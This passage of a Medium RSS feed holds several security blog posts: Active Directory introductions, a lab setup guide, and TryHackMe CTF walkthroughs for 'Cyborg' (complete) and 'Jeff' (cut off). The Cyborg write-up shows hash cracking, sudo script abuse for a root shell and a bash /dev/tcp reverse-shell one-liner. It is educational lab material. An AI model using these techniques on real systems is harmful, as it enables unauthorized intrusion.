happens) or whatsoever event which could mess all our work.</p><p>How do we do this? I’ll tell you but for just today our aim is to help you understand how we can gain a foothold in the Active Directory(AD) environment.</p><blockquote>Just for the curious</blockquote><blockquote>we will need to escalate our user privileges if we want to maintain access and do much serious damage from a security standpoint.</blockquote><blockquote>In the next blog, i will take the time to explain how we can escalate our privileges and maintain access in this AD environment</blockquote><h3>What did you learn from this walk-through?</h3><ul><li>You understood the Penetration Testing Processes used by a malicious user to infiltrate any network or computer. We used this methodology to gain a foothold in the AD environment.</li><li>You used some of the top tools such as nmap,hashcat and Impacket-GetUserSPNs</li><li>You understood what Kerberos is and how hackers can abuse it.</li><li>You saw what SMB was, and how to use tools such as smbclient to connect and enumerate it.</li><li>You practiced how the ldapdomaindump.py tool can be used to enumerate an AD environment.</li><li>Finally, the fun part was connecting to a GUI through RDP using xfreerdp tool. Everybody loves GUI</li></ul><h3>Recommendations</h3><p>This is a hard level challenge. As such take the time to practice the techniques explained and demonstrated. In addition, take notes of how the tools were used, try to implement the process with other tools and observe the results.</p><blockquote>I hope this walkthrough was enough to help you in Active Directory Security😀</blockquote><p>Have suggestions ? I am open for communications and opportunities. Connect with me on <a href="https://www.linkedin.com/in/newman-mortey/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a858d998f687" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ACTIVE DIRECTORY 101 — SETTING YOUR LAB]]></title>
            <link>https://medium.com/@optimus-pryme/active-directory-101-setting-your-lab-5bbcf6fdb35e?source=rss-fbfc5c6af17b------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bbcf6fdb35e</guid>
            <category><![CDATA[vmware]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Newman Mortey]]></dc:creator>
            <pubDate>Thu, 29 Dec 2022 10:42:16 GMT</pubDate>
            <atom:updated>2022-12-29T10:42:16.848Z</atom:updated>
            <content:encoded><![CDATA[<h3>ACTIVE DIRECTORY 101 — SETTING YOUR LAB</h3><p>We started simple with what Active Directory(AD) is all about. Now it’s time to go on to build one and grasp the practical knowledge required to excel in Active Directory security.</p><p>In this guide, we will build an Active Directory environment in a virtualised environment and see how its features can be exploited to hack Windows users.</p><h3>LAB REQUIREMENTS</h3><p>To successfully undergo this Lab setup you are required to have the following:</p><ul><li>Virtualization Software <em>(It can be </em><a href="https://www.virtualbox.org/wiki/Downloads"><em>Virtual Box</em></a><em>, </em><a href="https://www.vmware.com/products/workstation-player.html"><em>VMware Player</em></a><em>, </em><a href="https://store-us.vmware.com/workstation_buy_dual"><em>or VMware Workstation Pro</em></a><em> )</em></li><li>Windows Server either 2016 or 2022</li><li>A computer with at least 8GB — 16GB of RAM</li></ul><h3>GETTING YOUR WINDOWS SERVER LAB UP</h3><blockquote>In this Lab i am assuming you already have your VMware Pro and Windows Server downloaded.</blockquote><ul><li>Click the “File” tab and “New Virtual Computer” to create a new virtual machine. Then, for a quick setup, choose the Typical (Recommended) option.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1DszvM44WNtFllVUIPwdKw.png" /></figure><ul><li>Click the “Installer disc image file (iso)” option and choose the previously downloaded ISO file. Then, choose Windows as the type of “Guest Operating System”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oW-LJo36HfuXb48tlPDOJw.jpeg" /></figure><ul><li>The “Hardware Specifications” of the virtual machine are then modified. We will assign two (2) virtual processors to the server to guarantee that it operates at a suitable pace since we are configuring a server with a larger demand than a typical workstation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AmbagKwjAWxEobNpHNuEKw.jpeg" /></figure><ul><li>We will have two (2) network adapters for the “Network” settings, one linked to the outside internet and the other to the private lab network. Isolating the lab network from the home network is a smart practice.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*_szwEn4fxihdCI_YmizT5w.jpeg" /></figure><ul><li>After that, we add the second adapter for the private network by clicking on “<strong>Add” </strong>and selecting the <strong>“Network Adapter”</strong> option, then clicking “<strong>Finish” </strong>to add the adapter. Choose the <strong>“Custom” </strong>option on the network connection section to specify a specific virtual network.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bwGqxLIrVd9CKsIidkUWdg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCb45xSEJxsdPQZNE7TqcQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*CDnQedrl_-lQEtMeVUJ-RQ.jpeg" /></figure><ul><li>Turn on the virtual machine. This message will be sent to us. “Press any key to boot from CD or DVD…,” then press “Enter” to load the Windows installation files.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*Aj2Z35f2-EDcTv0RZJkX2g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJDuMdj9VVhbAbuzQtiJBQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ozZTU0rPdO9hEJXQ4i31A.jpeg" /></figure><ul><li>The next phase gives you with four (4) installation options, two of which are labeled “Desktop Experience,” which will provide you with a complete graphical experience, and two are not. The second choice, “Standard Evaluation (Desktop Experience),” will be selected.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*KWKhRVxRYNuNVcEwSLbd3A.jpeg" /></figure><ul><li>Click “Next” after checking the Microsoft Software License Terms box. Because we are reinstalling the operating system, we will pick “Custom” and “Drive0 Unallocated Space” to install the system files.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Aa71-k_wkXvADPCgCHlLrw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cWObHvK4zJ_6pen-s74vQA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ScvUJrPOoxWU6NnRg_GjGA.jpeg" /></figure><ul><li>Shortly after that, Windows will begin installing the OS files; the procedure normally takes a few minutes to finish, following which the server will reboot to apply the necessary configuration and settings. When finished, you will be sent to the “Customized Settings” panel, where you may configure the local built-in Administrator password.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IG21p2BWkiVPf0SyYSsWqg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Vu8MSrCU7HZxK7Iw0IXig.jpeg" /></figure><ul><li>We will begin setting a few things after login onto the server before installing Active Directory Services. To begin, change the Display resolution to match our screen, then click the “Start” and “Settings” buttons, then search Display.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*2gt3iO0hbb-slP1P56Tgog.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*j_zuoZiqx1GK3lntOORuXw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-DWA9MtTwJpAWmGP42mJw.jpeg" /></figure><ul><li>The two (2) network adapters we inserted in the early phases of constructing the virtual machine will now be configured. Navigate to the “Settings” page, then to the “Network and Internet” section, and finally to “Change Adapter Options.”</li></ul><h3>INSTALLING ACTIVE DIRECTORY DOMAIN SERVICE</h3><ul><li>Select the Add Roles and Features option. This will launch the Add Roles and Features Wizard, as seen below:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*pbAYVaz15h3bk4W27O1Tfg.png" /></figure><ul><li>Next, click the button. You will be prompted to pick the following installation type:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*v0ZDtGhB7DJ-JUUlLdPOBA.png" /></figure><ul><li>Click the Next button after selecting the Add Roles and Features Wizard. Following that, you will be prompted to pick a target server, as illustrated below:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*1NcXxP1kSGkGfqdMvHxULg.png" /></figure><ul><li>Choose “Select a server from the server pool” and then press the Next button. Following that, you will be prompted to pick one of the server roles mentioned below:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/0*E3bAnkq9F1hF_bxH.png" /></figure><ul><li>Click the Next button after selecting Active Directory Domain Services. You will be prompted to pick the following features:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/0*Jt-7sVtUEnC2bIJS.png" /></figure><ul><li>Leave everything else as it is and click the Next button. The next page you should see is the one that says “Confirm Installations.”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/0*krnKESGkEkR1BAOe.png" /></figure><ul><li>To start the installation, click the Install button. As soon as the installation is done. You should see the page below.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/0*UNgQkPkd0uN1VQmf.png" /></figure><ul><li>Click the button that says “Close.” You should see the page below.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ucZiP8jqkAHlbGXJ.png" /></figure><ul><li>Click on the yellow icon that looks like a bell. You should see the page below. Click “Make this server a domain controller” on that page. You should see the page for setting up deployment:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BDuA-D5iy_nYivg5.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/0*eyOST8I1ex1Y7c9I.png" /></figure><ul><li>Choose “Add a new forest,” type in the name of your domain, and click “Next.” You should see the options page for the domain controller:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/0*wsXhYEpIp4z2xyDw.png" /></figure><ul><li>Set your password for the directory service’s restore mode, and then click the Next button. You should see a page that says:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/0*GB0d3VgbruTswOJF.png" /></figure><ul><li>Leave the default settings and click Next. Set a NetBIOS name as shown:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/0*2SrPTJi3VR6y9Tfa.png" /></figure><ul><li>Enter your NetBIOS name and press the Next button. You will be prompted to provide the AD DS database path location:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/0*QeVhtv8s7MnHWFxT.png" /></figure><ul><li>Leave the default route alone and press the Next button. You should look at the page where you may evaluate all of your options:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/0*_GiDG5AFI6IB53oh.png" /></figure><ul><li>After reviewing all of the settings, click the Next button. You should see the requirements verification page:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/0*WbJNxq3nZ7MmtU8H.png" /></figure><p>Check that all precondition checks have been completed successfully before clicking the Install button. Your system will be restarted automatically after the installation is complete.</p><blockquote>That brings today to a close.</blockquote><p>Have suggestions ? I am open for communications and new opportunities. Connect with me on <a href="https://www.linkedin.com/in/newman-mortey/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bbcf6fdb35e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ACTIVE DIRECTORY 101]]></title>
            <link>https://medium.com/@optimus-pryme/active-directory-101-f03c0025f300?source=rss-fbfc5c6af17b------2</link>
            <guid isPermaLink="false">https://medium.com/p/f03c0025f300</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Newman Mortey]]></dc:creator>
            <pubDate>Wed, 21 Dec 2022 09:16:52 GMT</pubDate>
            <atom:updated>2022-12-21T09:16:52.839Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog is part of a series on Active Directory Security and Red Teaming designed to introduce you to Active Directory and Active Directory Penetration Testing.</p><blockquote>Let’s start simple….</blockquote><h3>What is <strong>Active Directory </strong>all about?</h3><blockquote>Active Directory (AD) is simply a <a href="https://www.webopedia.com/definitions/directory-service/"><strong>directory</strong> service</a> for windows Networks. Its primary purpose is to enable administrators to manage permissions and regulate network resource access.</blockquote><blockquote>Now let’s examine a little illustration of Active directory in action…</blockquote><p>Imagine a company with hundreds of workers, each of whom uses a separate computer. A number of departments, including sales, human resources, and information technology, are staffed by the company’s employees.</p><p>Assume that the Human Resources (HR) and Sales departments required new software that must be installed on their workstations, or that a group of newly recruited interns want access to certain files and network resources on the company’s local network.</p><h4>QUESTION</h4><p>Should the IT team install the program on each sales and human resource workstation individually or provide each intern with a single password to access the company’s LAN?</p><blockquote>This is an awful security protocol in and of itself and will need much effort. How then will IT Team resolve this issue?</blockquote><h4>ANSWER</h4><p>IT team simply connect all machines to an Active Directory network and provide each employee and intern with a user account and placement in a dedicated group so they can control and perform all these operations and access management from a central server.</p><blockquote><em>Now that you have a fair understanding of what Active Directory is, let’s dive deeper to examine some of the components of an Active Directory</em></blockquote><h3><strong>Active Directory Domain Services</strong></h3><p>Active Directory Domain Services (AD DS) is a fundamental component of Active Directory. It serves as the primary mechanism for authenticating users and defining which network resources users can access. Additionally, AD DS enables Single Sign-On (SSO), security certificates, LDAP, and access rights management.</p><blockquote>Don’t be too concerned about LDAP for now; we shall explain these concepts shortly. Let’s touch down first, then take flight…</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Rr1giIuZv898McTVSjAQQ.png" /><figcaption>Simplified Diagram of AD</figcaption></figure><h3><strong><em>Structure of Active Directory Domain Services</em></strong></h3><p>Active Directory Domain Services(AD DS) arranges data hierarchically using domains, trees, and forests, as shown below.</p><ul><li><strong>A domain</strong> is a collection of items, such as users, groups, and devices, that share the same AD database. A domain can be compared to a branch on a tree. The structure of a domain is identical to that of regular domains and sub-domains, such as ferry.com and sales.ferry.com.</li><li><strong>A tree</strong> consists of one or more domains arranged in a logical structure. Since domains in a tree are connected, it is stated that they “<strong><em>trust</em></strong>” one another.</li><li><strong>A forest</strong> is a collection of trees. A forest’s trees can also establish mutual trust and share directory schemas, catalogs, application data, and domain configurations.</li><li><strong>Organizational Units</strong>(OUs) are utilized to organize users, groups, computers, and other organizational units.</li><li><strong>A container</strong> is comparable to an OU, except it is not feasible to link a Group Policy Object (GPO) to a generic Active Directory container.</li><li><strong>AD DS Data Store</strong> holds the databases and processes needed to store and manage directory information such as users, groups, and services</li></ul><blockquote><strong>In addition to Active Directory Domain Services, AD provides a number of other vital services. Several of these services are detailed below:</strong></blockquote><ul><li><strong>AD LDAPS</strong> is an LDAP (Lightweight Directory Access Protocol) directory service. It offers a subset of the AD DS functionalities, making it more flexible in terms of where it may be deployed. For instance, it can be run as a standalone directory service without requiring integration with an Active Directory implementation.</li><li><strong>Certificate Services</strong> enables the creation, management, and sharing of encryption certificates, allowing users to safely transmit information over the internet.</li><li><strong>Active Directory Federation Services</strong> (ADFS) is a Single Sign-On (SSO) solution for Active Directory (AD) that enables employees to access numerous apps with a single set of credentials, hence simplifying the user experience.</li><li><strong>DNS, LLMNR, NBT-NS </strong>— Domain Name Services for identifying IP hostnames</li></ul><h3>Domain Authentication Overview</h3><p>The most important part of Active Directory — as well as the most vulnerable part of Active Directory — is the authentication protocols set in place. There are two main types of authentication in place for Active Directory:</p><ul><li>Kerberos — The default authentication service for Active Directory uses ticket-granting tickets and service tickets to authenticate users and give users access to other resources across the domain.</li><li>NTLM — default Windows authentication protocol uses an encrypted challenge/response protocol</li></ul><h3>Benefits of Active Directory Domain Services</h3><ul><li>Grouping the company’s data enables it to be tailored to its specific requirements.</li><li>Enables organizations to effortlessly control their Computers</li><li>Enhances the security of network resources by restricting access and centrally controlling access rights</li></ul><h3>When do you need to implement Active Directory Domain Service?</h3><p>This is a very intriguing subject that has generated numerous conflicts as smaller businesses and startups have integrated IT technologies into their infrastructure.</p><p>Any small or startup business with three or more employees should consider implementing an AD DS, in my opinion. Consider the positives.</p><p>You are able to organize your personnel and control their access to potentially sensitive files. Also, the Single Sign-On functionality of AD DS may prove useful, particularly as your organization grows. Consider that eventually, even interns may enter the picture.</p><p>I trust that you now have a good understanding of Active Directory.</p><blockquote>Let’s go build one now in Active Directory 201…</blockquote><p>Have suggestions ? I am open for communications and new opportunities. Connect with me on <a href="https://www.linkedin.com/in/newman-mortey/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f03c0025f300" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HACKING CYBORG[TryHackMe] : CTF CHALLENGE]]></title>
            <link>https://medium.com/@optimus-pryme/hacking-cyborg-tryhackme-ctf-challenge-8488e69bbda3?source=rss-fbfc5c6af17b------2</link>
            <guid isPermaLink="false">https://medium.com/p/8488e69bbda3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Newman Mortey]]></dc:creator>
            <pubDate>Tue, 20 Dec 2022 10:22:27 GMT</pubDate>
            <atom:updated>2022-12-20T10:22:27.939Z</atom:updated>
            <content:encoded><![CDATA[<h3>HACKING CYBORG[TryHackMe] : CTF CHALLENGE</h3><p>Arise young hacker ! you’ve been introduced to the techniques to hack a machine. Good. Now it’s time to hack Cyborg- that human machine of the justice league.</p><blockquote>Oh yes we’re gonna hack it. Remember this is an easy level challenge. Just pay attention to your fundamentals</blockquote><h3>Getting Started</h3><p>To play this machine First:</p><ul><li>Create an account on <a href="https://tryhackme.com/"><strong>TryHackMe</strong></a>. Excellent job if you already have one.</li><li>Click on your profile avatar, and select “Access” from the drop-down.</li><li>From the “Access” page download your openvpn file. This configuration file allows you to connect to the TryHackMe network through the OpenVpn Connection.</li><li>Lauch your Terminal and navigate to your downloads</li><li>Type “sudo openvpn [name of openvpn config file]</li><li>Now back in the browser, from the navigation bar of the TryHackme webpage, click on the “Learn” icon</li><li>On the “Learn” page, you should see three(3) tabs: Learn, Practice and Search. Click on the Search tab</li><li>Search for “Cyborg”</li></ul><h3>RECONNAISSANCE — SCANNING TARGET FOR OPEN PORTS</h3><blockquote>What have you learned about reconnaissance?</blockquote><p>Take a thief who will want rob a house. Before the really entering the house, he will first perform information gathering on the house and individuals who live there.</p><p>Using the same idea, before we can really compromise the target, we will need to gather information that can be useful to us.</p><blockquote>This is what reconnaissance is all about.</blockquote><blockquote>What do we need to gather information about?</blockquote><ul><li>Domain information such IP addresses, DNS records,sub-domains,etc</li><li>Open ports and services including service versions</li><li>Web technology stack of target’s HTTP service</li><li>Web URLs of target’s HTTP service including both hidden and crawled URLs</li><li>Disclosed sensitive information in source code.</li><li>Many more….</li></ul><p>For our target, we have been provided with only one information and that is the IP address. With this, we will use techniques and tools to gather as much information from it.</p><p>Tools we will be using are :</p><ul><li>Nmap — Network security and vulnerability scanner to find open ports and services</li><li>Wapplyzer — A browser extension tool for quickly enumerating technology stacks used to develop a website.</li><li>Dirsearch.py — A python tool for brute-forcing hidden web URLs of targets with Web service</li></ul><blockquote>Let’s get on to find information we need now….</blockquote><h4>Identifying Open Ports and Services</h4><p>To find which ports and service are open on our target we will use the Nmap tool with the command below</p><pre># -sC performs a default script scan for common vulnerabiliites<br># -sV performs a version scan of services that nmap discovers on target<br># -Pn instructs nmap to treat all hosts as online and skip host discovery<br><br>nmap -sC -sV [ip address of target] -Pn</pre><p>By carrying out the above nmap command, we discover some ports to be open as in image below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*XdoAW1j4U2_8Cy0-1-1nLw.png" /></figure><p>Ports discovered are :</p><ul><li>22 — SSH : A Service that allows us to connect to other host remotely</li><li>80 — HTTP : A service for serving web pages</li></ul><p>Also we discovered some version of the services namely:</p><ul><li>Apache 2.4.18</li><li>OpenSSH 7.2p2</li></ul><blockquote>Sadly, we can’t find any public exploits for these versions yet so we will proceed to the HTTP service on port 80</blockquote><h4>Enumerating HTTP</h4><p>Here, we will use the Wappalyzer tool to discover the technologies used for the HTTP service and utlise the Diresearch.py tool for brute-forcing hidden Web directories.</p><p>To use the Wapplyzer, simply open the addon page of your browser and search for wappalyzer. This will provide you with a link to download the extension for your browser.</p><p>Once installed, open the target’s HTTP service and you should find Wapplyzer populating already as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*cENbVzZwkCknzg9mo3KxCQ.png" /></figure><p>Only two(2) directories were discovered namely:</p><ul><li>/admin/</li><li>/etc/</li></ul><blockquote>Now let’s explore these directories…</blockquote><p>By navigating to the the /admin/ directory we discover lots of useful information from the panel and admin discussion. Also, we are able to download an archive as disclosed below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MbPFDbWs0nNzMbJMIz3y7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UufgOKQzIhwR_ROCJSvC4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*ZDWQ44cIRWPz2UjLhOH_Jg.png" /></figure><p>In the /etc/ , we discover a passwd file. This is disclosed to be the password of an archive. Which archive?</p><p>The archive we downloaded possibly…</p><p>Back at the archive we downloaded, we also found a Back to our archive! After a quick browse through the directories we find a REAMDE file that described what tool was used to archive the file called borgbackup</p><blockquote>Take some time to get to know what borgbackup. Remember Google is your best friend….</blockquote><p>A closer look at the password we found in the /etc/squid/passwd directory, we got to find out that it actually was a hash instead of a plain-text password. To determine which type of hash this was we will utilize the hashcat examples <a href="https://hashcat.net/wiki/doku.php?id=example_hashes"><strong>here</strong></a></p><p>The hash is an MD5 ( Apache $apr1$ MD5, md5apr1, MD5 (APR) 2) which is a hash mode 1600 on the Hashcat.</p><p>To crack this hash, we will use the command below</p><pre># -a instructs the hashcat of the attack mode to use<br>hash -m 1600 -a 0 [path to password file] [path to wordlist]</pre><p>At the end of the wordlist, we should have the hash cracked as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*g0pBNEXWzl5TjYhM7ycvdQ.png" /></figure><p>Good! we have cracked the hash. It’s time to extract the archive using the borgbackup package that was initially used.</p><p>To complete this task, we will need to first install the borgbackup application using the command below</p><pre>sudo apt install borgbackup</pre><p>After installing the borgbackup package, we need to follow some steps to successfully extract and list the repository. These are</p><ul><li>Extract the archive you downloaded from the admin panel of target. You will have a home folder which will be the repository required to extract</li><li>Extract the archive from the repository using the command</li></ul><pre># This command will request for a password<br># Enter the password obtained by brute-forcing the hash<br><br>borgbackup extract home/field/dev/final_archive/::music_archive</pre><ul><li>List all the content of the repository using the command</li></ul><pre>borg list [path to archive]</pre><p>Once you have listed the repository, we will find all the backup files as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I4S6hGJbUqHW1ArQovgFNQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yG_rwX9sk5XpWlfi8x81rw.png" /></figure><p>Now, when we scroll down the list, we discover two(2) notes.txt files. The Linux “cat” tool will be used to examine the contents of these files.</p><pre>cat home/alex/Desktop/secret.txt</pre><pre>cat home/alex/Documents/note.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*AQPJYrbq1j-F_iiKX3t6Sg.png" /></figure><p>As seen in the figure above, we discovered a password for a user named “Alex.” With this, we will attempt to connect into the SSH service we identified during the reconnaissance phase.</p><h3>Logging into SSH</h3><p>To log into the remote target using SSH, we will use the SSH command below</p><pre># username is Alex<br># You will be prompted to input the password<br><br>ssh [username]@[ip address of target]</pre><p>We should get a secure shell and find our user.txt flag in the directory as seen below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S1ap_Lv5WJ2EBaCiozmeJw.png" /></figure><h3>Privilege Escalation</h3><p>We have successfully established a remote connection to our target, but how can we go further inside the target?</p><blockquote>As a burglar who has successfully broken into a residence, you must search each room for valuable items to take. Being in the Kitchen and the Living room alone would be useless</blockquote><p>To successfully escalate privileges in the system we’ve compromised, we will need to:</p><ul><li>list all the binaries that allows our compromised user accounts to execute with the sudo command</li><li>list all the files and folders with SUID and GUID bit set</li><li>Listing the permissions a user has by the command on files and folders</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rec8itIYpDwCG12jFOGEPw.png" /></figure><p>By listing all executables that Alex may execute, we discovered that only /etc/mp3backups/backup.sh did not need a password. Next, we will examine the backup.sh script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mnlCoQa-gvtoLnuflnvRNw.png" /></figure><p>When we examine the script carefully, we can see that it is making some sort of backup to a directory, and at the conclusion of the script, we can enter our own command, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gd_iuLFhXOPWRfzV6hNYGQ.png" /></figure><p>With this, we will attempt to spawn a shell. To do this, enter the script’s name and add the -c parameter as seen below:</p><pre>bash /etc/mp3backup/backup.sh -c &quot;/bin/bash&quot;</pre><p>This command should launch a root shell on the terminal. We cannot run commands in the terminal we have spawned, therefore we will use it as a pivot to get a reverse shell, as seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RrhkWYOdY0fdFRoAPbc8qA.png" /></figure><p>In order to spawn a shell, we will launch the netcat tool on our workstation and listen on any port of our choosing before executing the instructions.</p><pre># We will use port 4444 <br><br>bash -i &gt;&amp;/dev/tcp/[enter_ip_here]/[enter_desired_Port] 0&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*4iBg0uqiDtbFP8TVv8Vahw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*PJQiO3rDkC-B6RAVibsAwg.png" /></figure><p>Finally, we have a reverse shell, and root.txt should be in the /root directory.</p><h3>WHAT LESSONS DID WE GET FROM THIS CHALLENGE?</h3><ul><li>What is reconnaissance and ways to perform a Recon</li><li>How to extract an archive with the borgbackup package</li><li>How to spawn a reverse shell</li></ul><h3>Recommendations</h3><p>This is an easy challenge that should help you learn penetration testing processes. To thoroughly learn the fundamentals of Penetration Testing, it is advised to undertake the task several times.</p><p>Have suggestions ? I am open for communications and opportunities. Connect with me on <a href="https://www.linkedin.com/in/newman-mortey/"><strong>LinkedIn</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8488e69bbda3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HACKING Jeff [TryHackMe]: CTF CHALLENGE]]></title>
            <link>https://medium.com/@optimus-pryme/hacking-jeff-tryhackme-ctf-challenge-1e0fe93c7be?source=rss-fbfc5c6af17b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e0fe93c7be</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Newman Mortey]]></dc:creator>
            <pubDate>Tue, 13 Dec 2022 10:52:07 GMT</pubDate>
            <atom:updated>2022-12-13T10:52:07.659Z</atom:updated>
            <content:encoded><![CDATA[<p>Howdy, Player! Monday is a terrific day to hack into a web server. Today, a friend has set up a simple web server that has two hidden flags: a user.txt flag and a root.txt flag. We need to find them.</p><blockquote>Remember that it’s important to find flags. Regardless, I think you should take the time to learn the approaches used to first compromise targets before the flags.</blockquote><h3>Getting Started</h3><p>To assess this machine First:</p><ul><li>Create an account on <a href="https://tryhackme.com/"><strong>TryHackMe</strong></a>. Excellent job if you already have one.</li><li>Click on your profile avatar, and select “Access” from the drop-down.</li><li>From the “Access” page download your openvpn file. This configuration file allows you to connect to the TryHackMe network through the OpenVpn Connection.</li><li>Lauch your Terminal and navigate to your downloads</li><li>Type “sudo openvpn [name of openvpn config file]</li><li>Now back in the browser, from the navigation bar of the TryHackme webpage, click on the “Learn” icon</li><li>On the “Learn” page, you should see three(3) tabs: Learn, Practice and Search. Click on the Search tab</li><li>Search for “Jeff”</li></ul><h3>Reconnaissance — Getting to know our target</h3><p>You know the drill. We start throwing our expensive exploits at a target when we do not know what our target is really susceptible to. The first thing we’ll do to discover out what’s going on with our target is conducting a scan using the nmap tool.</p><p>The nmap tool helps us find ports that are open and services that are running on them. Use the following command with the use nmap tool to do a scan:</p><pre># -sC performs a default script scan<br># -sV performs a version scan <br># We need to save our scan results so we have access to it for our final reports<br># The -oA option is used to save our scan results in gnmap,xml and normal output txt<br><br>nmap -sV -sC [target ip] -Pn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*GZxr1Pfkgc83zNt1c2beQQ.png" /></figure><p>After our scan, we discovered only two(2) ports to be open namely:</p><ul><li>22 — SSH : A service that allows users to connect to remote systems</li><li>80 — HTTP : A service for serving webpages</li></ul><blockquote>I always say and would recommend this: “whenever you see port 22 and 80, i recommend you start looking into the HTTP service first” . This is so because in a real pen-test it may take longer trying to brute-force ssh passwords”</blockquote><h3>Enumerating HTTP Service on port 80</h3><p>First, let’s understand the process involved to enumerate HTTP services. To successfully enumerate HTTP services, we</p><ul><li>Manually surf the webpage and review the source code. By “source code,” we mean the codes for HTML and JavaScript. This provides us the opportunity to find disclosed useful information such as passwords and usernames as comments during development.</li><li>Find the cluster of technologies that were used to make the HTTP service. HTML, JavaScript, and CSS are the core technologies that are used to build HTTP services. But modern HTTP services use even more technologies, like React, databases (MySQL, MongoDB, etc.), and many others. This gives us more ways to attack them once we know what they are.</li><li>Discovering virtual host(AKA subdomains).</li><li>Brute-force web directories. It’s such an important part of 